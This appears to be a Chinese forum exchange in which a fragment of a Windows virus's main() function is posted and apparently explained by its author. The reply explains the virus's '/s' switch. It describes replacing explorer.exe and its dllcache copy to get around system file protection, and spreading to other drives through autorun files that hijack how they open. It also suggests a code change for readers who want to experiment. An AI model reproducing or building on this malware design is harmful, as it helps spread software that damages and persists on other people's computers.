int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
这段代码中的argc既没有赋初值也没有改变它的值,请问它怎么会大于1,请问什么时候会跳过下两段代码呢?
因为explorer.exe是不能直接删除的,必须改名后注销或重起才能删除,因此首次运行只是改名,重起后病毒自动将其删除,再者,在C:\windows\system\有explorer.exe的原文件,这就是病毒提前提前运行后还出现桌面的原因.
argc和argv是主程序参数,举个例子
执行svchost.com /s时 argc为命令数(以' '为界),因此为2(因为svchost.com是一个 /s是一个)
argv[0]存储第一个命令 "svchost.com"
argv[1]存储第二个命令 "/s"
这段代码有一个不足之处
如果喜欢实验,可以在代码中加入 if(!autorun_explorer()) goto next1; 即上述代码改为
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
if(!autorun_explorer()) goto next1;
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
最后:卸载程序执行后如果鼠标恢复正常请不要再次执行.
首先,我没有写漏,因为c:\windows\explorer.exe和%sysdir%\dllcache\explorer.exe是一样的文件,因为系统文件保护机制,因此必须全部替换.搜索磁盘,注意,除了C外,其它磁盘只将病毒体复制到其根目录并加入自动运行文件(自动运行文件替换原打开方式,使其完全与未感染的一样,但无论如何的打开都将再次运行)